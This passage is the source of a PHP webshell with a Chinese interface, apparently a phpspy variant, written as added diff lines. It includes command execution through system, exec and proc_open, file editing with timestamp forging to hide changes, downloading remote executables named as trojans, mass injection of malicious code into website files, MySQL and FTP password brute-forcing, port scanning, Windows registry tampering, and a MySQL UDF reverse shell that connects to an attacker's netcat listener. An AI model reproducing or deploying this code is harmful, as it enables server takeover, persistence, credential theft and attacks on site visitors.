$time = @filemtime($editfilename); + $time2 = @date("Y-m-d H:i:s",$time); + $filename="$editfilename"; + @$fp=fopen("$filename","w"); + if($_POST['change']=="yes"){ + $filecontent = "?".">".$_POST['filecontent'].""; + }else{ + $filecontent = $_POST['filecontent']; + } + echo $msg=@fwrite($fp,$filecontent) ? "写入文件成功!" : "写入失败!"; + @fclose($fp); + if($retime=="yes"){ + echo" 鱼鱼自动操作:"; + echo $msg=@touch($filename,$time) ? "修改文件为".$time2."成功!" : "修改文件时间失败!"; + } + } else { + echo "请输入想要编辑的文件名!"; + } +} +//文件下载 +elseif ($_POST['do'] == 'downloads') { + $contents = @file_get_contents($_POST['durl']); + if(!$contents){ + echo"无法读取要下载的数据"; + } + elseif(file_exists($path)){ + echo"很抱歉,文件".$path."已经存在了,请更换保存文件名。"; + }else{ + $fp = @fopen($path,"w"); + echo $msg=@fwrite($fp,$contents) ? "下载文件成功!" : "下载文件写入时失败!"; + @fclose($fp); + } +} +elseif($_POST['action']=="mix"){ + if(!file_exists($_POST['mixto'])){ + $tmp = base64_decode($mixdll); + $tmp = gzinflate($tmp); + $fp = fopen($_POST['mixto'],"w"); + echo $msg=@fwrite($fp,$tmp) ? "解压缩成功!" : "此目录不可写吧?!"; + fclose($fp); +}else{ + echo"不是吧?".$_POST['mixto']."已经存在了耶~"; +} +} +// 编辑文件属性 +elseif ($_POST['do'] == 'editfileperm') { + if (!empty($_POST['fileperm'])) { + $fileperm=base_convert($_POST['fileperm'],8,10); + echo (@chmod($dir."/".$file,$fileperm)) ? "属性修改成功!" : "修改失败!"; + echo " 文件 ".$file." 修改后的属性为: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4); + } else { + echo "请输入想要设置的属性!"; + } +} + +// 文件改名 +elseif ($_POST['do'] == 'rename') { + if (!empty($_POST['newname'])) { + $newname=$_POST['dir']."/".$_POST['newname']; + if (@file_exists($newname)) { + echo "".$_POST['newname']." 已经存在,请重新输入一个!"; + } else { + echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." 成功改名为 ".$_POST['newname']." !" : "文件名修改失败!"; + } + } else { + echo "请输入想要改的文件名!"; + } +} +elseif ($_POST['do'] == 'search') { +if(!empty($oldkey)){ +echo"查找关键词:[".$oldkey."],下面显示查找的结果:"; + if($type2 == "getpath"){ + echo"鼠标移到结果文件上会有部分截取显示."; +} +echo"

    "; +find($path); +}else{ +echo"你要查虾米?到底要查虾米呢?有没有虾米要你查呢?"; +} +} +elseif ($_GET['action']=='plgmok') { + dirtree($_POST['dir'],$_POST['mm']); + } +elseif ($_GET['action'] == "plgm") { + $action = '?action=plgmok'; + $gm = ""; + $tb->tableheader(); + $tb->formheader($action,'批量挂马'); + $tb->tdbody('网站批量挂马程序php版','center'); + $tb->tdbody('文件位置: '.$tb->makeinput('dir',''.$_SERVER["DOCUMENT_ROOT"].'','','text','60').'
    要挂代码:'.$tb->maketextarea('mm',$gm,'50','5').''.$tb->makehidden('do','批量挂马').'
    '.$tb->makeinput('submit','开始挂马','','submit'),'center','1','35'); + echo ""; + $tb->tablefooter(); +}//end plgm +// 克隆时间 +elseif ($_POST['do'] == 'domodtime') { + if (!@file_exists($_POST['curfile'])) { + echo "要修改的文件不存在!"; + } else { + if (!@file_exists($_POST['tarfile'])) { + echo "要参照的文件不存在!"; + } else { + $time=@filemtime($_POST['tarfile']); + echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!"; + } + } +} + +// 自定义时间 +elseif ($_POST['do'] == 'modmytime') { + if (!@file_exists($_POST['curfile'])) { + echo "要修改的文件不存在!"; + } else { + $year=$_POST['year']; + $month=$_POST['month']; + $data=$_POST['data']; + $hour=$_POST['hour']; + $minute=$_POST['minute']; + $second=$_POST['second']; + if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) { + $time=strtotime("$data $month $year $hour:$minute:$second"); + echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!"; + } + } +} +elseif($do =='port'){ + $tmp = explode(",",$port); + $count = count($tmp); + for($i=$first;$i<$count;$i++){ + $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1); + if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]."
    "; + } +} +/* +这里代码写得很杂,说实话我自己都不知道写了什么。 +好在能用,我就没管了,假设有人看到干脆重写吧。*/ +elseif ($do == 'crack') {//反正注册为全局变量了。 + if(@file_exists($passfile)){ + $tmp = file($passfile); + $count = count($tmp); + if(empty($onetime)){ + $onetime = $count; + $turn="1"; + }else{ + $nowturn = $turn+1; + $now = $turn*$onetime; + $tt = intval(($count/$onetime)+1); + } + if($turn>$tt or $onetime>$count){ + echo"超过字典容量了耶~要是破解最后进程的,很抱歉失败。"; + }else{ + $first = $onetime*($turn-1); + for($i=$first;$i<$now;$i++){ + if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i])); + else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i])); + if($sa) + { + $t = "获取".$user."的密码为".$tmp[$i].""; + } + } + if(!$t){ + echo "字典总共".$count."个,现在从".$first."到".$now.",".$admin[jumpsecond]."秒后进行这".$onetime."个密码的试探. >>>
    全历此次".$type."的破解需要".$tt."次,现在是第".$turn."次解密。
    "; + } + else { + echo"$t"; + } + } +}else{ + echo"字典文件不存在,请确定。"; + } +} +elseif($do =='port'){ + if(!eregi("-",$port)){ + $tmp = explode(",",$port); + $count = count($tmp); + $first = "1"; + }else{ + $tmp = explode("-",$port); + $first = $tmp[0]; + $count = $tmp[1]; + + } + for($i=$first;$i<$count;$i++){ + if(!eregi("-",$port)){ + $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1); + if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]."
    "; + }else{ + $fp = @fsockopen($host, $i, $errno, $errstr, 1); + if($fp) echo"发现".$host."主机打开了端口".$i."
    "; + } + } + + } +// 连接MYSQL +elseif ($connect) { + if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) { + echo "数据库连接成功!"; + mysql_close(); + } else { + echo mysql_error(); + } +} + +// 执行SQL语句 +elseif ($_POST['do'] == 'query') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败"); + @mysql_select_db($dbname) or die("选择数据库失败"); + $result = @mysql_query($_POST['sql_query']); + echo ($result) ? "SQL语句成功执行!" : "出错: ".mysql_error(); + mysql_close(); +} + +// 备份操作 +elseif ($_POST['do'] == 'backupmysql') { + if (empty($_POST['table']) OR empty($_POST['backuptype'])) { + echo "请选择欲备份的数据表和备份方式!"; + } else { + if ($_POST['backuptype'] == 'server') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败"); + @mysql_select_db($dbname) or die("选择数据库失败"); + $table = array_flip($_POST['table']); + $filehandle = @fopen($path,"w"); + if ($filehandle) { + $result = mysql_query("SHOW tables"); + echo ($result) ? NULL : "出错: ".mysql_error(); + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + sqldumptable($currow[0], $filehandle); + fwrite($filehandle,"\n\n\n"); + } + } + fclose($filehandle); + echo "数据库已成功备份到 ".$path.""; + mysql_close(); + } else { + echo "备份失败,请确认目标文件夹是否具有可写权限!"; + } + } + } +} +elseif($downrar) { + if (!empty($dl)) { + if(eregi("unzipto:",$localfile)){ + $path = "".$dir."/".str_replace("unzipto:","",$localfile).""; + $zip = new Zip; + $zipfile=$dir."/".$dl[0]; + $array=$zip->get_list($zipfile); + $count=count($array); + $f=0; + $d=0; + for($i=0;$i<$count;$i++) { + if($array[$i][folder]==0) { + if($zip->Extract($zipfile,$path,$i)>0) $f++; + } + else $d++; + } + if($i==$f+$d) echo "$dl[0] 解压到".$path."成功
    ($f 个文件 $d 个目录)"; + elseif($f==0) echo "$dl[0] 解压到".$path."失败"; + else echo "$dl[0] 未解压完整
    (已解压 $f 个文件 $d 个目录)"; + }else{ + $zipfile=""; + $zip = new Zip; + for($k=0;isset($dl[$k]);$k++) + { + $zipfile=$dir."/".$dl[$k]; + if(is_dir($zipfile)) + { + unset($zipfilearray); + addziparray($dl[$k]); + for($i=0;$zipfilearray[$i];$i++) + { + $filename=$zipfilearray[$i]; + $filesize=@filesize($dir."/".$zipfilearray[$i]); + $fp=@fopen($dir."/".$filename,rb); + $zipfiles[]=Array($filename,@fread($fp,$filesize)); + @fclose($fp); + } + } + else + { + $filename=$dl[$k]; + $filesize=@filesize($zipfile); + $fp=@fopen($zipfile,rb); + $zipfiles[]=Array($filename,@fread($fp,$filesize)); + @fclose($fp); + } + } + $zip->Add($zipfiles,1); + $code = $zip->get_file(); + $ck = "_QQ44997_".date("Y-m-d",time()).""; + if(empty($localfile)){ + header("Content-type: application/octet-stream"); + header("Accept-Ranges: bytes"); + header("Accept-Length: ".strlen($code)); + header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip"); + echo $code; + exit; + }else{ + $fp = @fopen("".$dir."/".$localfile."","w"); + echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功!!" : "目录".$dir."无可写权限!"; + @fclose($fp); + } + } + } else { + echo "请选择要打包下载的文件!"; + } +} +// Shell.Application 运行程序 +elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) { + $shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion'); + $a = $shell->ShellExecute($_POST['program'],$_POST['prog']); + echo ($a=='0') ? "程序已经成功执行!" : "程序运行失败!"; +} +// 查看PHP配置参数状况 +elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) { + echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname']).""; +} +// 读取注册表 +elseif(($regread) AND !empty($_POST['readregname'])) { + $shell= &new COM('WSc'.'rip'.'t.Sh'.'ell'); + var_dump(@$shell->RegRead($_POST['readregname'])); +} + +// 写入注册表 +elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) { + $shell= &new COM('W'.'Scr'.'ipt.S'.'hell'); + $a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']); + echo ($a=='0') ? "写入注册表健值成功!" : "写入 ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." 失败!"; +} +// 删除注册表 +elseif(($regdelete) AND !empty($_POST['delregname'])) { + $shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll'); + $a = @$shell->RegDelete($_POST['delregname']); + echo ($a=='0') ? "删除注册表健值成功!" : "删除 ".$_POST['delregname']." 失败!"; +} +else { + echo "$notice"; + echo "Program | pcAnywhere | 开始程序 | AllUsers | Serv-U | "; + for ($i=66;$i<=90;$i++){$drive= chr($i).':'; +if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " $drive\\";} +} + +} +echo "

    \n"; +/*===================== 执行操作 结束 =====================*/ +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { + $tb->tableheader(); +?> + + 文件 + 创建日期 + 最后修改 + 大小 + 属性 + 操作 + +
    +\n"; + echo " [$file]\n"; + echo " $ctime\n"; + echo " $mtime\n"; + echo " Search\n"; + echo " $dirperm\n"; + echo " | 删除 | 改名 |\n"; + echo "\n"; + $dir_i++; + } else { + if($file=="..") { + echo "\n"; + echo " 返回上级目录\n"; + echo "\n"; + } + } + } +}// while +@closedir($dirs); +?> + + + +".@date("Y-m-d H:i:s",@filectime($filepath)).""; + $mtime="".@date("Y-m-d H:i:s",@filemtime($filepath)).""; + } + @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4); + echo "\n"; + echo " "; + echo ""; + echo "$file\n"; + echo " $ctime\n"; + echo " $mtime\n"; + echo " $size KB\n"; + echo " $fileperm\n"; + echo " 下载 | 编辑 | 删除 | 改名 | 时间\n"; + echo "\n"; + $file_i++; + } +}// while +@closedir($dirs); +if(get_cfg_var('safemode'))$z = "(?)"; +else $z = "(?)"; +$tb->tdbody('
    '.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' 本地文件:'.$tb->makeinput('localfile','','','text','15').''.$tb->makeinput('downrar','选中打包下载或本地保存','','submit').'  '.$z.''.$dir_i.' 个目录 / '.$file_i.' 个文件
    ','center',getrowbg(),'','','6'); + +echo "
    \n"; +echo "\n"; +}// end dir + +elseif ($_GET['action'] == "editfile") { + if(empty($newfile)) { + $filename="$dir/$editfile"; + $fp=@fopen($filename,"r"); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents=htmlspecialchars($contents); + }else{ + $editfile=$newfile; + $filename = "$dir/$editfile"; + } + $action = "?dir=".urlencode($dir)."&editfile=".$editfile; + $tb->tableheader(); + $tb->formheader($action,'新建/编辑文件'); + $tb->tdbody('当前文件: '.$tb->makeinput('editfilename',$filename).' 输入新文件名则建立新文件 Php代码加密: '); + $tb->tdbody($tb->maketextarea('filecontent',$contents)); + $tb->makehidden('do','doeditfile'); + $tb->formfooter('1','30'); +}//end editfile + +elseif ($_GET['action'] == "rename") { + $nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']); + $action = "?dir=".urlencode($dir)."&fname=".urlencode($fname); + $tb->tableheader(); + $tb->formheader($action,'修改文件名'); + $tb->makehidden('oldname',$dir."/".$nowfile); + $tb->makehidden('dir',$dir); + $tb->tdbody('当前文件名: '.basename($nowfile)); + $tb->tdbody('改名为: '.$tb->makeinput('newname')); + $tb->makehidden('do','rename'); + $tb->formfooter('1','30'); +}//end rename + +elseif ($_GET['action'] == "eval") { + $action = "?dir=".urlencode($dir).""; + $tb->tableheader(); + $tb->formheader(''.$action.' "target="_blank' ,'执行php脚本'); + $tb->tdbody($tb->maketextarea('phpcode',$contents)); + $tb->formfooter('1','30'); + +} +elseif ($_GET['action'] == "fileperm") { + $action = "?dir=".urlencode($dir)."&file=".$file; + $tb->tableheader(); + $tb->formheader($action,'修改文件属性'); + $tb->tdbody('修改 '.$file.' 的属性为: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4))); + $tb->makehidden('file',$file); + $tb->makehidden('dir',urlencode($dir)); + $tb->makehidden('do','editfileperm'); + $tb->formfooter('1','30'); +}//end fileperm + +elseif ($_GET['action'] == "newtime") { + $action = "?dir=".urlencode($dir); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + $tb->tableheader(); + $tb->formheader($action,'克隆文件最后修改时间'); + $tb->tdbody("修改文件: ".$tb->makeinput('curfile',$file,'readonly')." → 目标文件: ".$tb->makeinput('tarfile','需填完整路径及文件名'),'center','2','30'); + $tb->makehidden('do','domodtime'); + $tb->formfooter('','30'); + $tb->formheader($action,'自定义文件最后修改时间'); + $tb->tdbody('
    • 有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日 星期五 20:45:54 到 2038年 1 月 19 日 星期二 03:14:07
      (该日期根据 32 位有符号整数的最小值和最大值而来)
    • 说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!
    ','left'); + $tb->tdbody('当前文件名: '.$file); + $tb->makehidden('curfile',$file); + $tb->tdbody('修改为: '.$tb->makeinput('year','1984','','text','4').' 年 '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' 月 '.$tb->makeinput('data','18','','text','2').' 日 '.$tb->makeinput('hour','20','','text','2').' 时 '.$tb->makeinput('minute','00','','text','2').' 分 '.$tb->makeinput('second','00','','text','2').' 秒','center','2','30'); + $tb->makehidden('do','modmytime'); + $tb->formfooter('1','30'); +}//end newtime + +elseif ($_GET['action'] == "shell") { + $action = "??action=shell&dir=".urlencode($dir); + $tb->tableheader(); + $tb->tdheader('WebShell Mode'); + if (substr(PHP_OS, 0, 3) == 'WIN') { + $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe"; + $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"; + echo "
    \n"; + $tb->tdbody('无回显运行程序 → 文件: '.$tb->makeinput('program',$program).' 参数: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35'); + $tb->makehidden('do','programrun'); + echo "
    \n"; + } + echo "
    \n"; + if(isset($_POST['cmd'])) $cmd = $_POST['cmd']; + $tb->tdbody('提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容. '); + $tb->tdbody('proc_open函数假设不是默认的winnt系统请自行设置使用,自行修改记得写退出,否则会在主机上留下一个未结束的进程.'); + $tb->tdbody('proc_open函数要使用的cmd程序的位置:'.$tb->makeinput('cmd',$cmd,'','text','30').'(要是是linux系统还是大大们自己修改吧)'); + $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open'); + $tb->tdbody('选择执行函数: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' 输入命令: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit')); +?> + + + +
    + +tableheader(); + $tb->formheader($action,'读取注册表'); + $tb->tdbody('键值: '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','读取','','submit'),'center','2','50'); + echo ""; + + $tb->formheader($action,'写入注册表'); + $cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ'); + $tb->tdbody('键值: '.$tb->makeinput('writeregname',$registre,'','text','56').' 类型: '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' 值: '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','写入','','submit'),'center','2','50'); + echo ""; + + $tb->formheader($action,'删除注册表'); + $tb->tdbody('键值: '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','删除','','submit'),'center','2','50'); + echo ""; + $tb->tablefooter(); +}//end reg +elseif ($_GET['action'] == "downloads"){ +$action = '?action=dir'; + $tb->tableheader(); + $tb->formheader($action,'http文件下载模式'); + $tb->tdbody('你可以使用本功能把一些小工具以http方式下载到此服务器','center'); + $tb->tdbody('文件位置: '.$tb->makeinput('durl','http://google.com/muma.exe','','text','70').'
    下载到:'.$tb->makeinput('path','./muma.exe','','text','60').''.$tb->makehidden('do','downloads').''.$tb->makeinput('','下载','','submit'),'center','1','35'); + echo ""; + $tb->tdbody('注意,假设文件太大将无法下载下来而且影响执行速度.','center'); + $tb->tablefooter(); +} +elseif ($_GET['action'] == "mix"){ +$action = '?action=dir'; + $tb->tableheader(); + $tb->formheader($action,'解压缩mix.dll文件'); + $tb->tdbody('在这里可以把压缩在phpspy里的mix.dll解压缩出来。','center'); + $tb->tdbody('解压缩为: '.$tb->makeinput('mixto','./mix.dll','','text','70').''.$tb->makehidden('action','mix').''.$tb->makeinput('','unzip','','submit'),'center','1','35'); + echo ""; + $tb->tablefooter(); +} +elseif ($_GET['action'] == "crack"){ +$action = '?action=dir'; + $tb->tableheader(); + $tb->tdbody('这里的组件主要用来突破一些特别的地方而准备,比如内网。','center'); + if($type=="crack"){ + $tb->formheader($action,'暴力破解mysql或ftp密码 [Mysql杂项]'); + $tb->tdbody('你在这里设置一些参数进行mysql登陆密码的破解。','center'); + $tb->tdbody('host: '.$tb->makeinput('host','localhost','','text','12').' 帐号'.$tb->makeinput('user','root','','text','12').''.$tb->makehidden('do','crack').' 字典:'.$tb->makeinput('passfile','./password.txt','','text','20').' 一次试探:'.$tb->makeinput('onetime','100','','text','6').'个 '.$tb->makeinput('','crack','','submit'),'center','1','35'); + $tb->tdbody('MYSQL:   Ftp:','center'); + echo ""; + if(getphpcfg("allow_url_fopen")=="Yes") $temp = "或远程文件"; + $tb->tdbody('字典可以使用相对或绝对路径'.$temp.',Ftp的密码破解测试已经通过。','center'); + $tb->formheader($action,'端口扫描'); + $tb->tdbody('在这里可以进行端口的简单扫描。','center'); + $tb->tdbody('host: '.$tb->makeinput('host','127.0.0.1',''.$tb->makehidden('do','port').'','text','12').' 端口表:'.$tb->makeinput('port',''.$admin[port].'','','text','60').'','center','1','35'); + $tb->tdbody(''.$tb->makeinput('','进行端口扫描','','submit').'','center'); + echo ""; + $tb->tdbody('端口表请把你要查的端口用逗号隔开!','center'); + $tb->tableheader(); +}else{ + $tb->formheader("".$action."\" enctype=\"multipart/form-data",'使用Mysql上传文件 [Crack杂项]'); + $tb->tdbody('利用Mysql连接帐号把文件以mysql的权限导到Webshell权限本身不可写的地方','center'); + $tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').'db: '.$tb->makeinput('database','mysql.user','','text','16').'upto: '.$tb->makeinput('uppath','c:/','','text','16').''.$tb->makehidden('action','mysqlup'),'center','1','35'); + $tb->tdbody('上传后文件名: '.$tb->makeinput('upname','','','text','16').'选择文件: '.$tb->makeinput('upfile','','','file','26').''.$tb->makeinput('','upload','','submit'),'center','1','35'); + echo ""; + $tb->tdbody('貌似只要有file权限的帐号就可以了,不写上传后文件名则为原来文件名。.','center'); + $tb->formheader($action,'利用Mysql下载文件'); + $tb->tdbody('利用Mysql连接帐号下载Webshell不能读取下载的文件或数据库服务器文件。 启用压缩: ','center'); + $tb->tdbody('Host: '.$tb->makeinput('host','localhost','','text','16').'User: '.$tb->makeinput('user','root','','text','16').'PASS: '.$tb->makeinput('password','','','text','16').''.$tb->makehidden('action','mysqldown').'文件: '.$tb->makeinput('filename','C:/windows/php.ini','','text','26').''.$tb->makeinput('','download','','submit'),'center','1','35'); + echo ""; + $tb->tdbody('貌似只要有file权限的帐号就可以了,至少可以读到邻居了.','center'); + $tb->tdbody('Windows默认情况下Mysql为System权限,而Linux系统则权限不高。.','center'); +} + $tb->tablefooter(); +} +elseif ($_GET['action'] == "search"){ +$action = '?dir='.$dir.''; + $tb->tableheader(); + $tb->formheader($action,'文件查找'); + $tb->tdbody('你可以使用本功能查找一个目录下的文件里哪写文件包含着关键词!','center'); + $tb->tdbody('文件位置: '.$tb->makeinput('path',''.$nowpath.'','','text','70').'
    查找文字:'.$tb->makeinput('oldkey','下贱','','text','60').''.$tb->makehidden('do','search').'
    是否计算所在行 (此功能和下面一个功能会影响执行速度,所以默认关闭!)
    适当读取: 读取关键词前'.$tb->makeinput('beline','0','','text','3').'个字符 '.$tb->makehidden('dir',''.$dir.'').'到关键词后第'.$tb->makeinput('endline','10','','text','3').'个字符... '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('','开始查找文件','','submit'),'center','1','35'); + echo ""; + $tb->tdbody('请表太大的目录了,慢慢浏览慢慢找好不好嘛.假设选定计算行速度会慢。显示[所在行/总共多少行]','center'); + $tb->tablefooter(); +} +elseif ($_GET['action'] == "proxy") { + $action = '?action=proxy'; + $tb->tableheader(); + $tb->formheader($action,'在线代理','proxyframe'); + $tb->tdbody('
    • 用本功能仅实现简单的 HTTP 代理,不会显示使用相对路径的图片、链接及CSS样式表.
    • 用本功能可以通过本服务器浏览目标URL,但不支持 SQL Injection 探测以及某些特殊字符.
    • 用本功能浏览的 URL,在目标主机上留下的IP记录是 : '.gethostbyname($_SERVER['SERVER_NAME']).'
    ','left'); + $tb->tdbody('URL: '.$tb->makeinput('url','about:blank','','text','100').' '.$tb->makeinput('','浏览','','submit'),'center','1','40'); + $tb->tdbody(''); + echo ""; + $tb->tablefooter(); +}//end proxy + +elseif ($_GET['action'] == "sql") { + $action = '?action=sql'; + + $servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost'; + $dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root'; + $dbpassword = $_POST['dbpassword']; + $dbname = $_POST['dbname']; + $sql_query = $_POST['sql_query']; +if($type=="fun"){ +$sql_query = "CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\\Winnt\\\Mix.dll'; +select Mixconnect('".$_SERVER['REMOTE_ADDR']."','8888');/*这个最好先执行了上面一句再用*/ +/*请在你计算机上执行 nc -vv -l -p 8888*/"; +} + $tb->tableheader(); + $tb->formheader($action,'执行 SQL 语句'); + $tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','连接','','submit')); + $tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10')); + $tb->makehidden('do','query'); + $tb->formfooter('1','30'); +}//end sql query + +elseif ($_GET['action'] == "sqlbak") { + $action = '?action=sqlbak'; + $servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost'; + $dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root'; + $dbpassword = $_POST['dbpassword']; + $dbname = $_POST['dbname']; + $tb->tableheader(); + $tb->formheader($action,'备份 MySQL 数据库'); + $tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','连接','','submit')); + @mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname); + $tables = @mysql_list_tables($dbname); + while ($table = @mysql_fetch_row($tables)) { + $cachetables[$table[0]] = $table[0]; + } + @mysql_free_result($tables); + if (empty($cachetables)) { + $tb->tdbody('您没有连接数据库 or 当前数据库没有任何数据表'); + } else { + $tb->tdbody('
    请选择表:'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'
    备份数据所保存的路径:'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'
    直接下载到本地 (适合数据量较小的数据库)
    '); + $tb->makehidden('do','backupmysql'); + $tb->formfooter('0','30'); + } + $tb->tablefooter(); + @mysql_close(); +}//end sql backup + +elseif ($_GET['action'] == "phpenv") { + $user = " 以免crush点此获取当前进程用户名 "; + $upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; + $adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if ($dis_func == "") { + $dis_func = "No"; + }else { + $dis_func = str_replace(" ","
    ",$dis_func); + $dis_func = str_replace(",","
    ",$dis_func); + } + $phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + 0 => array("当前php进程用户",$user), + 1 => array("服务器操作系统",PHP_OS), + 2 => array("服务器时间",date("Y年m月d日 h:i:s",time())), + 3 => array("服务器域名","".$_SERVER['SERVER_NAME'].""), + 4 => array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), + 5 => array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), + 7 => array("Web服务端口",$_SERVER['SERVER_PORT']), + 8 => array("PHP运行方式",strtoupper(php_sapi_name())), + 9 => array("PHP版本",PHP_VERSION), + 10 => array("运行于安全模式",getphpcfg("safemode")), + 11 => array("服务器管理员",$adminmail), + 12 => array("本文件路径",__FILE__), + 13 => array("允许使用 URL 打开文件 allow_url_fopen",getphpcfg("allow_url_fopen")), + 14 => array("允许动态加载链接库 enable_dl",getphpcfg("enable_dl")), + 15 => array("显示错误信息 display_errors",getphpcfg("display_errors")), + 16 => array("自动定义全局变量 register_globals",getphpcfg("register_globals")), + 17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")), + 18 => array("程序最多允许使用内存量 memory_limit",getphpcfg("memory_limit")), + 19 => array("POST最大字节数 post_max_size",getphpcfg("post_max_size")), + 20 => array("允许最大上传文件 upload_max_filesize",$upsize), + 21 => array("程序最长运行时间 max_execution_time",getphpcfg("max_execution_time")."秒"), + 22 => array("被禁用的函数 disable_functions",$dis_func), + 23 => array("phpinfo()",$phpinfo), + 24 => array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + 25 => array("图形处理 GD Library",getfun("imageline")), + 26 => array("IMAP电子邮件系统",getfun("imap_close")), + 27 => array("MySQL数据库",getfun("mysql_close")), + 28 => array("SyBase数据库",getfun("sybase_close")), + 29 => array("Oracle数据库",getfun("ora_close")), + 30 => array("Oracle 8 数据库",getfun("OCILogOff")), + 31 => array("PREL相容语法 PCRE",getfun("preg_match")), + 32 => array("PDF文档支持",getfun("pdf_close")), + 33 => array("Postgre SQL数据库",getfun("pg_close")), + 34 => array("SNMP网络管理协议",getfun("snmpget")), + 35 => array("压缩文件支持(Zlib)",getfun("gzclose")), + 36 => 